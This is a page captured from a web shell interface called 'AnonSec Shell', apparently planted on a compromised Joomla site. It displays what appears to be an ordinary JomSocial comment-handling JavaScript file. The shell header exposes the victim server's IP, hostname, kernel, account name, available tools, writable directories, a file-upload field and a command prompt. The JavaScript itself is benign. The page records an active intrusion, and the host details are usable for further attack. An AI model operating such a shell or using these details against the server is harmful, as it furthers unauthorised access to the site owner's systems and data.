AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/lemans/components/com_community/assets/source/js/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/lemans/components/com_community/assets/source/js/views/comment.js
(function (root, $, factory) {

    joms.view || (joms.view = {});
    joms.view.comment = factory(root, $);

    define(['utils/video', 'functions/tagging'], function () {
        return joms.view.comment;
    });

})(window, joms.jQuery, function (window, $) {

    var container, uploader, uploaderType, uploaderParams, uploaderButton, uploaderAttachment, uploaderRef, uploaderError;

    function initialize() {
        uninitialize();
        container = $(document.body);
        container.on('keydown.joms-comment', '.joms-comment__reply textarea', keydown);
        container.on('focus.joms-comment', '.joms-comment__reply textarea', focused);
        container.on('focus.joms-comment', '.joms-js--pm-message textarea', focused);
        container.on('click.joms-comment', '.joms-comment__reply .joms-js--btn-send', onSend);
        container.on('click.joms-comment', '.joms-js--inbox-reply .joms-js--btn-send', onSend);
        container.on('click.joms-comment', '.joms-comment__more', showAll);

        addAttachmentInit();
        initInputbox();
        initVideoPlayers();
    }

    function uninitialize() {
        if (container) {
            container.off('keydown.joms-comment', '.joms-comment__reply textarea');
            container.off('focus.joms-comment', '.joms-comment__reply textarea');
            container.off('focus.joms-comment', '.joms-js--pm-message textarea');
            container.off('click.joms-comment', '.joms-comment__reply .joms-js--btn-send');
            container.off('click.joms-comment', '.joms-js--inbox-reply .joms-js--btn-send');
            container.off('click.joms-comment', '.joms-comment__more');
        }
    }

    function initInputbox() {
        joms.fn.tagging.initInputbox();
    }

    function initVideoPlayers() {
        var initialized = '.joms-js--initialized',
            cssVideos = '.joms-js--video',
            videos = $('.joms-comment__body,.joms-js--inbox').find(cssVideos).not(initialized).addClass(initialized.substr(1));

        if (!videos.length) {
            return;
        }

        joms.loadCSS(joms.ASSETS_URL + 'vendors/mediaelement/mediaelementplayer.min.css');
        videos.on('click.joms-video', cssVideos + '-play', function () {
            var $el = $(this).closest(cssVideos);
            joms.util.video.play($el, $el.data());
        });

        if (joms.ios) {
            setTimeout(function () {
                videos.find(cssVideos + '-play').click();
            }, 2000);
        }
    }

    function keydown(e) {
        var key = e.keyCode || e.charCode,
            textarea;

        if (key !== 13 || e.shiftKey) {
            return;
        }

        textarea = $(e.target);
        if (textarea.data('noentersend') || joms.mobile) {
            return;
        }

        setTimeout(function () { send(e); }, 100);
        return false;
    }

    function focused(e) {
        var textarea = $(e.target),
            wrapper = textarea.closest('.joms-textarea__wrapper'),
            attachment = wrapper.find('.joms-textarea__attachment');

        if (attachment.length) {
            uploaderAttachment = attachment;
        }
    }

    function onSend(e) {
        var el = $(e.currentTarget),
            textarea = el.closest('.joms-comment__reply,.joms-js--inbox-reply').find('textarea');

        send({ currentTarget: textarea[0] });
    }

    function send(e) {
        var el = $(e.currentTarget),
            text = (el.val() || ''),
            isEdit = +el.data('edit'),
            id, func, type, attachment;

        // Use tag value if available.
        if (el[0].joms_hidden) {
            text = el[0].joms_hidden.val() || text;
        }

        // Don't send empty message and no image.
        if (text.replace(/^\s+|\s+$/g, '') === '') {
            attachment = el.siblings('.joms-textarea__attachment');
            if (!attachment.length || !attachment.is(':visible')) {
                alert(joms_lang.COM_COMMUNITY_CANNOT_EDIT_COMMENT_ERROR);
                return;
            }
        }

        id = +el.data('id');
        func = el.data('func') || '';
        type = el.data('type') || '';

        if (isEdit) {
            editSave(el, id, func, type, text, function () {
                initVideoPlayers();
                reset(el, 'edit');
            });
        } else {
            addSave(el, id, func, type, text, function () {
                el.val('');
                initVideoPlayers();
                reset(el);
            });
        }
    }

    function reset(el, type) {
        if (type !== 'edit') {
            el.closest('.joms-comment__reply').find('.joms-textarea__attachment').hide();
        }

        el = el[0];
        if (el.joms_reset) {
            el.joms_reset();
        }
        if (el.joms_beautifier && el.joms_beautifier !== 'none') {
            el.joms_beautifier.html('');
        }
        if (el.joms_hidden) {
            el.joms_hidden.val(el.value);
        }
    }

    function addSave(el, id, func, type, text, callback) {
        var isWall = func,
            isPhotoAlbum = false,
            isPhoto = false,
            isVideo = false,
            isDiscussion = false,
            isInbox = false,
            isCustomWall = false,
            photo = false,
            file = false,
            data, ct, funcLower, $loading;

        if (el.data('saving')) {
            return;
        }

        el.data('saving', 1);

        if (isWall) {
            funcLower = func.toLowerCase();
            if (funcLower.indexOf('album') > -1) {
                isPhotoAlbum = true;
            } else if (funcLower.indexOf('photo') > -1) {
                isPhoto = true;
            } else if (funcLower.indexOf('video') > -1) {
                isVideo = true;
            } else if (funcLower.indexOf('discussion') > -1) {
                isDiscussion = true;
            } else if (funcLower.indexOf('inbox') > -1) {
                isInbox = true;
            } else if (funcLower.indexOf('wall')) {
                isCustomWall = true;
            }
        }

        ct = uploaderAttachment;
        if (ct && ct.is(':visible')) {
            photo = ct.find('.joms-textarea__attachment--thumbnail').find('img');
            file = photo.siblings('b');
            if (photo.is(':visible')) {
                photo = photo.data('photo_id');
                file = '';
            } else if (file.is(':visible')) {
                file = file.data('id');
                photo = '';
            }
        }

        photo = photo || '';
        file = file || '';

        if (!isWall) {
            func = 'system,ajaxStreamAddComment';
            data = [id, text, photo];
        } else if (isVideo || isDiscussion) {
            data = [text, id, photo];
        } else if (isInbox) {
            data = [id, text, photo, file];
        } else if (isCustomWall) {
            data = [type, id, text, photo];
        } else {
            data = [text, id, '', photo];
        }

        $loading = $(el).siblings('.joms-textarea__loading');
        $loading.show();

        joms.ajax({
            func: func,
            data: data,
            callback: function (json) {
                var $ct, item, status, counter;

                $loading.hide();

                if (json.success) {

                    if (isInbox) {
                        _onInboxAdded(json.html);

                        el.removeData('saving');

                        // Enable sibling items.
                        if (uploaderRef) {
                            uploaderRef.siblings('svg')
                                .removeData('disabled')
                                .css('opacity', '');
                        }

                        return;
                    }

                    $ct = $('.joms-js--comments-' + id);
                    $ct.append(json.html || '');

                    counter = $('.joms-comment__counter--' + id);
                    counter.html(+counter.eq(0).text() + 1);
                    counter.parents('.joms-comment__status').show();

                    joms.parseEmoji();
                }

                if (typeof callback === 'function') {
                    callback(json);
                }

                el.removeData('saving');

                // Enable sibling items.
                if (uploaderRef) {
                    uploaderRef.siblings('svg')
                        .removeData('disabled')
                        .css('opacity', '');
                }

                if (json.error) {
                    window.alert(json.error);
                }

            }
        });
    }

    function edit(commentId, elem, type) {
        var isWall = type === 'wall',
            comment, reply, textarea;

        elem = $(elem);
        comment = elem.closest('.joms-comment__item');
        textarea = comment.children('.joms-comment__reply').find('textarea');

        if (isWall) {
            reply = comment.closest('.joms-comment').siblings('.joms-comment__reply');
        } else {
            reply = comment.closest('.joms-stream').children('.joms-comment__reply');
        }

        reply.hide();
        comment.children('.joms-comment__body,.joms-comment__actions').hide();
        comment.children('.joms-comment__reply').show();
        textarea.jomsTagging();
        textarea.off('reset.joms-tagging');
        textarea.on('reset.joms-tagging', function () {
            comment.children('.joms-comment__reply').hide();
            comment.children('.joms-comment__body,.joms-comment__actions').show();
            reply.show();
        });
        textarea[0].focus();
    }

    function editSave(el, commentId, func, type, text, callback) {
        var isWall = func,
            attachment, photo, photoSrc, data, $loading;

        if (el.data('saving')) {
            return;
        }

        el.data('saving', 1);

        attachment = el.siblings('.joms-textarea__attachment');

        if (attachment.is(':visible')) {
            photo = attachment.find('.joms-textarea__attachment--thumbnail').find('img');
            photoSrc = photo.attr('src');
            photo = photo.data('photo_id') || '0';
        } else if (attachment.data('no_thumb')) {
            photo = '0';
        } else {
            photo = '-1';
        }

        if (isWall) {
            data = [commentId, text, func, photo];
            func = 'system,ajaxUpdateWall';
        } else {
            func = 'system,ajaxeditComment';
            data = [commentId, text, photo];
        }

        $loading = $(el).siblings('.joms-textarea__loading');
        $loading.show();

        joms.ajax({
            func: func,
            data: data,
            callback: function (json) {
                var $ct, $body, $reply;

                $loading.hide();

                if (json.success) {
                    $ct = $('.joms-js--comment-' + commentId);
                    $body = $ct.find('.joms-js--comment-body');
                    $reply = $('.joms-js--newcomment-' + $ct.data('parent'));

                    $ct.find('.joms-js--comment-editor').hide().find('textarea').val(json.originalComment || '');
                    $ct.find('.joms-js--comment-content').html(json.comment || '');
                    $ct.find('.joms-js--comment-actions').show();
                    $body.show();
                    $reply.show();

                    // Update photo if available.
                    if (+photo < 0 || +photo > 0) {
                        $body.children('.joms-js--comment-content').next('div').remove();

                        if (+photo > 0 && photoSrc) {
                            $body.children('.joms-js--comment-content').after([
                                '<div style="padding:5px 0">',
                                '<a href="javascript:" onclick="joms.api.photoZoom(\'', photoSrc, '\');">',
                                '<img class="joms-stream-thumb" src="', photoSrc, '">',
                                '</a>',
                                '</div>'
                            ].join(''));
                        }
                    }

                    joms.parseEmoji();
                }

                if (json.error) {
                    alert(json.error)
                }

                if (typeof callback === 'function') {
                    callback(json);
                }

                try {
                    el.blur();
                } catch (e) { }

                el.removeData('saving');

                // Enable sibling items.
                if (uploaderRef) {
                    uploaderRef.siblings('svg')
                        .removeData('disabled')
                        .css('opacity', '');
                }
            }
        });
    }

    // function editCancel( textarea ) {


    // }

    function like(commentId) {
        joms.ajax({
            func: 'system,ajaxStreamAddLike',
            data: [commentId, 'comment'],
            callback: function (json) {
                var $ct, btn, info;

                if (json.success) {
                    $ct = $('.joms-js--comment-' + commentId);

                    if ($ct.length) {
                        btn = $ct.find('.joms-comment__actions').find('.joms-button--liked');
                        btn.attr('onclick', 'joms.api.commentUnlike(\'' + commentId + '\');');
                        btn.addClass('liked');
                        btn.find('span').html(btn.data('lang-unlike'));
                        btn.find('use').attr('xlink:href', window.location + '#joms-icon-thumbs-down');

                        info = $ct.find('.joms-comment__actions [data-action=showlike]');
                        if (!json.html) {
                            info.remove();
                        } else if (info.length) {
                            info.replaceWith(json.html);
                        } else {
                            btn.after(json.html);
                        }
                    }
                }
            }
        });
    }

    function unlike(commentId) {
        joms.ajax({
            func: 'system,ajaxStreamUnlike',
            data: [commentId, 'comment'],
            callback: function (json) {
                var $ct, btn, info;

                if (json.success) {
                    $ct = $('.joms-js--comment-' + commentId);

                    if ($ct.length) {
                        btn = $ct.find('.joms-comment__actions').find('.joms-button--liked');
                        btn.attr('onclick', 'joms.api.commentLike(\'' + commentId + '\');');
                        btn.removeClass('liked');
                        btn.find('span').html(btn.data('lang-like'));
                        btn.find('use').attr('xlink:href', window.location + '#joms-icon-thumbs-up');

                        info = $ct.find('.joms-comment__actions [data-action=showlike]');
                        if (!json.html) {
                            info.remove();
                        } else if (info.length) {
                            info.replaceWith(json.html);
                        } else {
                            btn.after(json.html);
                        }
                    }

                }
            }
        });
    }

    function showAll(e) {
        var el = $(e.currentTarget),
            ct = el.closest('.joms-js--comments'),
            type = ct.data('type') || '',
            id = +ct.data('id'),
            shown = ct.children('.joms-js--comment').length,
            limit = window.joms_prev_comment_load;

        if (!id) {
            return;
        }

        joms.ajax({
            func: 'system,ajaxStreamShowComments',
            data: [id, type, shown, limit],
            callback: function (json) {
                var html, ct, remaining, link, lang;

                if (json.success) {
                    html = $($.trim(json.html));

                    if (type) {
                        html = html.filter('.joms-js--comments').children();
                    }

                    ct = $('.joms-js--comments-' + id);
                    ct.find('.joms-js--comment').remove();
                    ct.append(html);

                    json.total = +json.total;
                    remaining = Math.max(0, json.total - ct.children('.joms-js--comment').length);

                    if (remaining > 0) {
                        link = ct.find('.joms-js--more-comments a');
                        lang = link.data('lang') || (window.joms_lang.COM_COMMUNITY_SHOW_PREVIOUS_COMMENTS + ' (%d)');
                        if (lang) {
                            link.text(lang.replace('%d', remaining));
                        }
                    } else {
                        ct.find('.joms-js--more-comments').remove();
                    }

                    initVideoPlayers();
                    joms.parseEmoji();
                }
            }
        });
    }

    function remove(commentId, type) {
        var cf = confirm(joms_lang.COM_COMMUNITY_ARE_YOU_SURE_YOU_WANT_TO_DELETE_THIS_COMMENT);
        if (!cf) {
            return;
        }
        var isInbox = type === 'inbox',
            isWall = type === 'wall',
            func,
            data;

        if (isInbox) {
            func = 'inbox,ajaxRemoveMessage';
            data = [commentId];
        } else if (isWall) {
            func = window.joms_wall_remove_func;
            data = [commentId];
        } else {
            func = 'system,ajaxStreamRemoveComment';
            data = [commentId];
        }

        joms.ajax({
            func: func,
            data: data,
            callback: function (json) {
                var $ct;

                if (!json.success) {
                    window.alert(json.error || 'Undefined error.');
                    return;
                }

                if (isInbox) {
                    _onInboxRemoved(commentId);
                    return;
                }

                $ct = $('.joms-js--comment-' + commentId);

                if ($ct.length) {
                    $ct.fadeOut(300, function () {
                        $(this).remove();
                    });
                    var parent_id = $ct.data('stream-id') || $ct.data('parent');
                    var counter = $('.joms-comment__counter--' + parent_id);
                    if (counter.length) {
                        var val = +counter.eq(0).text() - 1;
                        if (val === 0) {
                            counter.parents('.joms-comment__status').hide();
                            $ct.parents('.joms-popup').find('.joms-comment').html(joms_lang.COM_COMMUNITY_NO_COMMENTS_YET);
                        }
                        counter.html(val);
                    }
                }

            }
        });
    }

    function removeTag(id, type) {
        joms.ajax({
            func: 'activities,ajaxRemoveUserTag',
            data: [id, type || 'comment'],
            callback: function (json) {
                var $comment, $cbutton, $ccontent, $ceditor, $textarea;

                if (json.success) {
                    if (type === 'inbox') {
                        $comment = $('.joms-js--inbox-item-' + id);
                        $cbutton = $comment.find('.joms-button--remove-tag');
                        $ccontent = $comment.find('.joms-js--inbox-content');

                        $ccontent.html(json.data);
                        $cbutton.remove();
                    } else {
                        $comment = $('.joms-js--comment-' + id);
                        $cbutton = $comment.find('.joms-button--remove-tag');
                        $ccontent = $comment.find('.joms-js--comment-content');
                        $ceditor = $comment.find('.joms-js--comment-editor');
                        $textarea = $ceditor.find('textarea');

                        $ccontent.html(json.data);
                        $textarea.val(json.unparsed);
                        $cbutton.remove();
                    }
                }
            }
        });
    }

    function removePreview(id, type) {
        var isInbox = type === 'inbox',
            isWall = type === 'wall',
            func, data;

        if (isInbox) {
            func = 'inbox,ajaxRemovePreview';
            data = [id];
        } else if (isWall) {
            func = 'system,ajaxRemoveWallPreview';
            data = [id];
        } else {
            func = 'system,ajaxRemoveCommentPreview';
            data = [id];
        }

        joms.ajax({
            func: func,
            data: data,
            callback: function (json) {
                if (!json.success) {
                    window.alert(json.error || 'Undefined error.');
                    return;
                }

                if (isInbox) {
                    _onInboxUpdated(id, json.html);
                    return;
                }

                $('.joms-js--comment-' + id)
                    .find('.joms-js--comment-preview').remove();
            }
        });
    }

    function removeThumbnail(id, type) {
        var isInbox = type === 'inbox',
            isWall = type === 'wall',
            func, data;

        if (isInbox) {
            func = 'inbox,ajaxRemoveThumbnail';
            data = [id];
        } else if (isWall) {
            // @todo
        } else {
            // @todo
        }

        joms.ajax({
            func: func,
            data: data,
            callback: function (json) {
                if (!json.success) {
                    window.alert(json.error || 'Undefined error.');
                    return;
                }

                if (isInbox) {
                    _onInboxUpdated(id, json.html);
                    return;
                }

                if (isWall) {
                    // @todo
                    return;
                }

                // @todo stream
                return;
            }
        });
    }

    function addAttachment(elem, type, params) {
        var maxFileSize, extensions, settings;

        elem = $(elem);
        if (elem.data('disabled')) {
            return;
        }

        uploaderRef = elem;
        elem = elem.siblings('.joms-textarea__wrapper');

        if (!elem.length) {
            return;
        }

        if (type !== 'file') {
            type = 'image';
        }

        params = params || {};
        maxFileSize = +params.max_file_size;
        extensions = params.exts;

        delete params.max_file_size;
        delete params.exts;

        uploaderType = type;
        uploaderParams = type === 'file' ? params : {};

        settings = {
            file: {
                url: joms.BASE_URL + 'index.php?option=com_community&view=files&task=multiUpload',
                filters: { mime_types: [{ title: 'Document files', extensions: extensions }] },
                max_file_size: maxFileSize > 0 ? ((+maxFileSize) * 1048576) : 0
            },
            image: {
                url: joms.BASE_URL + 'index.php?option=com_community&view=photos&task=ajaxPreviewComment',
                filters: { mime_types: [{ title: 'Image files', extensions: 'jpg,jpeg,png,gif' }] },
                max_file_size: undefined
            }
        };

        addAttachmentInit(elem, function () {
            uploader.refresh();
            uploader.settings.url = settings[type].url;
            uploader.settings.filters = settings[type].filters;
            uploader.settings.max_file_size = settings[type].max_file_size;
            uploader.refresh();
            window.joms_webdriver || uploaderButton.click();
        });
    }

    function addAttachmentInit(elem, callback) {
        if (typeof callback !== 'function') {
            callback = function () { };
        }

        if (uploader) {
            uploaderAttachment = elem && elem.find('.joms-textarea__attachment');
            callback();
            return;
        }

        joms.util.loadLib('plupload', function () {
            setTimeout(function () {
                var container, button;

                container = $('<div id="joms-js--attachment-uploader" aria-hidden="true" style="width:1px; height:1px; overflow:hidden">').appendTo(document.body);
                button = $('<button id="joms-js--attachment-uploader-button">').appendTo(container);
                uploader = new window.plupload.Uploader({
                    url: joms.BASE_URL + 'index.php?option=com_community&view=photos&task=ajaxPreviewComment',
                    container: 'joms-js--attachment-uploader',
                    browse_button: 'joms-js--attachment-uploader-button',
                    runtimes: 'html5,html4',
                    multi_selection: false
                });

                uploader.bind('FilesAdded', addAttachmentAdded);
                uploader.bind('BeforeUpload', addAttachmentBeforeUpload);
                uploader.bind('Error', addAttachmentError);
                uploader.bind('FileUploaded', addAttachmentUploaded);
                uploader.init();

                uploaderAttachment = elem && elem.find('.joms-textarea__attachment');
                uploaderButton = container.find('input[type=file]');
                callback();
            });
        });
    }

    function addAttachmentAdded(up) {
        uploaderError = false;

        window.setTimeout(function () {
            var ct = uploaderAttachment,
                loading = ct.find('.joms-textarea__attachment--loading'),
                thumb = ct.find('.joms-textarea__attachment--thumbnail'),
                button = ct.find('button');

            if (uploaderError) {
                return;
            }

            up.start();
            up.refresh();

            thumb.find('img').replaceWith('<img>');
            thumb.hide();
            button.hide();
            loading.show();
            ct.show();

            // Disable sibling items.
            uploaderRef.siblings('svg')
                .data('disabled', 1)
                .css('opacity', 0.5);

        }, 0);
    }

    function addAttachmentBeforeUpload(up) {
        var params = '',
            prop;

        for (prop in uploaderParams) {
            params += '&' + prop + '=' + uploaderParams[prop];
        }

        up.settings.url += params;
    }

    function addAttachmentError(up, error) {
        uploaderError = true;
        window.alert(error && error.message || 'Undefined error.');
    }

    function addAttachmentUploaded(up, file, info) {
        var json, ct, loading, thumb, button, img, label;

        try {
            json = JSON.parse(info.response);
        } catch (e) { }

        json || (json = {});

        ct = uploaderAttachment;

        if (json.error || json.msg) {
            window.alert(json.error || json.msg);
            ct.hide();
            return;
        }

        if (!((json.thumb_url && json.photo_id) || json.id)) {
            window.alert('Undefined error.');
            ct.hide();
            return;
        }

        loading = ct.find('.joms-textarea__attachment--loading');
        thumb = ct.find('.joms-textarea__attachment--thumbnail');
        img = thumb.find('img');
        button = ct.find('button');

        if (uploaderType === 'file') {
            label = $('<b>' + file.name + '</b>').data({ 'id': json.id, 'path': json.path, 'name': file.name });
            img.removeData('photo_id');
            img.hide().siblings('b').remove();
            img.after(label);
        } else {
            img.siblings('b').remove();
            img.attr('src', json.thumb_url);
            img.data('photo_id', json.photo_id).show();
        }

        loading.hide();
        thumb.show();
        button.show();
        ct.show();
    }

    function removeAttachment(elem) {
        elem = $(elem);
        elem = elem.closest('.joms-textarea__attachment');

        if (elem) {
            elem.find('.joms-textarea__attachment--thumbnail img').replaceWith('<img src="" alt="attachment">');
            elem.hide();
            elem.removeData('no_thumb');
            elem.removeAttr('data-no_thumb');
        }

        // Enable sibling items.
        if (uploaderRef) {
            uploaderRef.siblings('svg')
                .removeData('disabled')
                .css('opacity', '');
        }
    }

    function cancel(id) {
        var $ct, $reply, data;

        if (id && id.nodeType) {
            $ct = $(id).closest('.joms-js--comment');
        } else {
            $ct = $('.joms-js--comment-' + id);
        }

        if (!$ct.length) {
            return;
        }

        data = $ct.data();
        $reply = $('.joms-js--newcomment-' + data.parent);

        $ct.find('.joms-js--comment-editor').hide();
        $ct.find('.joms-js--comment-body').show();
        $ct.find('.joms-js--comment-actions').show();
        $reply.show();
    }

    function toggleText(id) {
        var $text = $('.joms-js--comment-text-' + id),
            $full = $('.joms-js--comment-textfull-' + id),
            $btn = $('.joms-js--comment-texttoggle-' + id);

        $text.hide();
        $full.show();
        $btn.hide();
        // if ( $full.is(':visible') ) {
        //     $full.hide();
        //     $text.show();
        //     $btn.html( $btn.data('lang-more') );
        // } else {
        //     $text.hide();
        //     $full.show();
        //     $btn.html( $btn.data('lang-less') );
        // }
    }

    function _onInboxAdded(html) {
        var ct, status, reply, textarea, tagging, attachment, loc, use, href, i;

        ct = $('.joms-js--inbox');
        status = $('.joms-js--inbox-status');
        reply = $('.joms-js--inbox-reply');
        textarea = reply.find('textarea');
        attachment = reply.find('.joms-textarea__attachment');

        html = $($.trim(html));
        loc = window.location.href.split('#')[0];
        use = html.find('use');

        for (i = 0; i < use.length; i++) {
            href = use.eq(i).attr('xlink:href').split('#')[1];
            href = loc + '#' + href;
            use.eq(i).attr('xlink:href', href);
        }

        ct.append(html);

        if (textarea.length) {
            tagging = textarea.data('joms-tagging');
            tagging ? tagging.clear() : textarea.val('');
        }

        if (attachment.length) {
            attachment.hide();
        }

        // update seen state
        if (status.length) {
            status.html('<span>' + status.data('lang-notseen') + '</span>');
        }

        initVideoPlayers();
    }

    function _onInboxUpdated(id, html) {
        var item, loc, use, href;

        if (!html) {
            _onInboxRemoved(id);
            return;
        }

        item = $('.joms-js--inbox-item-' + id);

        html = $($.trim(html));
        loc = window.location.href.split('#')[0];
        use = html.find('use');
        href = use.attr('xlink:href').split('#')[1];
        href = loc + '#' + href;

        use.attr('xlink:href', href);
        item.replaceWith(html);

        initVideoPlayers();
    }

    function _onInboxRemoved(id) {
        var item;
        item = $('.joms-js--inbox-item-' + id);
        item.fadeOut(500, function () {
            item.remove();
        });
    }

    function showEmoticonBoard(elm) {
        
        $(elm).parent().parent().data('editor',this);
        joms.util.emoji.showBoard(elm);
        return;
        $('.joms-emoticon-js__board').remove();
        var $body = $('body'),
            $board = $('.joms-emoticon-js__board'),
            $icon = $(elm).parents('.joms-icon--emoticon'),
            offset = $(elm).offset(),
            offsetTop = 0,
            emoticons = joms.getData('joms_emo'),
            isRTL = $('html').attr('dir') === 'rtl';

        if (!$board.length) {
            html = renderEmoticonBoard(emoticons);
            $body.append(html);
            $board = $('.joms-emoticon-js__board');
        }

        var spacer = isRTL ? 15 : ($board.outerWidth() - 30);
        var above = {
            display: 'block',
            top: (offset.top - $board.outerHeight()) + 'px',
            left: (offset.left - spacer) + 'px',
            position: 'absolute'
        }

        var animate_above = {
            opacity: '1',
            top: (offset.top - $board.outerHeight() - 10) + 'px'
        }

        var below = {
            display: 'block',
            top: (offset.top + 20) + 'px',
            left: (offset.left - spacer) + 'px',
            position: 'absolute'
        }

        var animate_below = {
            opacity: '1',
            top: (offset.top + 24) + 'px'
        }

        offsetTop = offset.top - $(window).scrollTop();
        var pos, ani, positionClass;

        if (offsetTop > ($board.outerHeight() + 30)) {
            pos = above;
            ani = animate_above;
            positionClass = 'joms-board--above'
        } else {
            pos = below;
            ani = animate_below;
            positionClass = 'joms-board--below';
        }

        $board.is(':hidden') && setTimeout(function () {
            $('.joms-icon--active').removeClass('joms-icon--active');
            $icon.addClass('joms-icon--active');
            $board.css(pos);
            $board.addClass(positionClass)
            setTimeout(function () {
                $board.css(ani);
            }, 100);

            $(document).one('click', function () {
                $board.css({
                    display: 'none',
                    opacity: '0'
                });

                $board.removeClass('joms-board--above joms-board--below');
            });
        }, 100)
    }

    function renderEmoticonBoard(emoticons) {
        var html = '<ul class="joms-emoticon__board joms-emoticon-js__board">';
        for (var key in emoticons) {
            var emo = emoticons[key];
            html += '\
        <li>\
            <span\
                title="'+ key + '"\
                onclick="joms.view.comment.insertEmoticon(this)"\
                class="joms-emo2 joms-emo2-'+ key + '"\
                data-code="'+ emo[0] + '" >\
            </span>\
        </li>\
        ';
        }

        html += '</ul>';

        return html;
    }
    function smileyCallback(code) {

        var $icon = $('.joms-icon--active'),
            $wrapper = $icon.parent().find('.joms-textarea__wrapper'),
            $input = $wrapper.find('textarea.joms-textarea'),
            $hiddenInput = $wrapper.find('input.joms-textarea__hidden'),
            
            value,
            start = $input.prop("selectionStart");

        value = $input.val().slice(0, start) + code + $input.val().slice(start);

        $hiddenInput.val(value);
        $input.val(value);
        $input.prop("selectionStart", start + code.length);
        $input.prop("selectionEnd", start + code.length);
        $input.focus();
        $input.trigger('keydown')




    }

    function insertEmoticon(elm) {
        var $icon = $('.joms-icon--active'),
            $wrapper = $icon.parent().find('.joms-textarea__wrapper'),
            $input = $wrapper.find('textarea.joms-textarea'),
            $hiddenInput = $wrapper.find('input.joms-textarea__hidden'),
            code = $(elm).attr('data-code'),
            value,
            start = $input.prop("selectionStart");

        value = $input.val().slice(0, start) + code + $input.val().slice(start);

        $hiddenInput.val(value);
        $input.val(value);
        $input.prop("selectionStart", start + code.length);
        $input.prop("selectionEnd", start + code.length);
        $input.focus();
        $input.trigger('keydown')
    }

    function react(uid, reactId, type) {
        var current = getReaction(reactId),
            text = current.text,
            name = current.name,
            reactClass = 'reaction-btn--' + name,
            $btn = $('.joms-js--comment-actions .joms-button--reaction[data-uid=' + uid + ']');

        var classes = [
            'reaction-btn--like',
            'reaction-btn--love',
            'reaction-btn--haha',
            'reaction-btn--wow',
            'reaction-btn--sad',
            'reaction-btn--angry'
        ];

        $btn.removeClass(classes.join(' '));

        if (type === 'onBar') {
            $btn.addClass('reaction-btn--animate');
            setTimeout(function () {
                $btn.removeClass('reaction-btn--animate');
            }, 200);
        }

        $btn.addClass(reactClass);
        $btn.text(text);

        $btn.attr('data-reactid', reactId);
        $btn.attr('data-action', 'unreact');
        $btn.attr('onclick', 'javascript:;');

        joms.ajax({
            func: 'system,ajaxStreamAddLike',
            data: [uid, 'comment', reactId],
            callback: function (json) {
                var $status = $btn.siblings('.joms-comment__reaction-status'),
                    onclick = 'joms.view.comment.unreact(' + uid + ', ' + reactId + ')';

                $status.show();
                $status.html(json.html);

                $btn.attr('onclick', onclick);
            }
        });
    }

    function unreact(uid, reactId, type) {
        var $btn = $('.joms-js--comment-actions .joms-button--reaction[data-uid=' + uid + ']'),
            text = $btn.attr('data-lang-like');

        var classes = [
            'reaction-btn--like',
            'reaction-btn--love',
            'reaction-btn--haha',
            'reaction-btn--wow',
            'reaction-btn--sad',
            'reaction-btn--angry'
        ];

        $btn.removeClass(classes.join(' '));
        $btn.text(text);
        $btn.attr('data-reactid', 1);
        $btn.attr('data-action', 'react');
        $btn.attr('onclick', 'javascript:;');
        joms.ajax({
            func: 'system,ajaxStreamUnlike',
            data: [uid, 'comment', reactId],
            callback: function (json) {
                var $status = $btn.siblings('.joms-comment__reaction-status'),
                    onclick = 'joms.view.comment.react(' + uid + ', 1)';

                $status.show();
                $status.html(json.html);

                $btn.attr('onclick', onclick);
            }
        });
    }

    function getReaction(reactId) {
        var data = joms.getData('joms_reaction');
        var react = data.filter(function (item) {
            return item.id == reactId;
        }).pop();

        return react;
    }

    // Exports.
    return {
        start: initialize,
        stop: uninitialize,
        like: like,
        unlike: unlike,
        edit: edit,

        cancel: cancel,

        remove: remove,
        removeTag: removeTag,
        removePreview: removePreview,
        removeThumbnail: removeThumbnail,

        addAttachment: addAttachment,
        removeAttachment: removeAttachment,

        toggleText: toggleText,

        initInputbox: initInputbox,

        showEmoticonBoard: showEmoticonBoard,
        insertEmoticon: insertEmoticon,
        smileyCallback : smileyCallback,
        react: react,
        unreact: unreact
    };

});

Anon7 - 2022
AnonSec Team